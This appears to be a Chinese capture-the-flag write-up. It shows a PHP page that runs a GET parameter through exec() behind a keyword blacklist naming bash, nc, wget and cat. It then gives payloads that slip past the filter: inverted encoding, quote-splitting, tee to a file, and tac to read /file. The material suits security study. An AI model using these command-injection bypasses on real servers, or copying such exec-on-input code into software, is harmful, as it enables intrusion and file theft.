进入网站页面后显示 php 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

可以看到其中 preg_match 过滤了基本的一些命令,想要通过 exec 执行需要绕过去。
测试以下命令,发现不能执行:

?url=ls;sleep 5

对 ls 取反,继续执行:

?url=%93%8C;sleep 5

发现可以执行。其中英文字母的 url 编码为 16 进制前添加 %。
接下来使用 tee 命令将标准输入中的数据写入输出文件中:

?url=l''s /|tee 1.txt

访问 http://ip:port/?1.txt 可以看到根目录下的所有文件夹。
由于 cat 被过滤了,使用 tac 反向显示文件内容:

?url=tac /file|tee 2.txt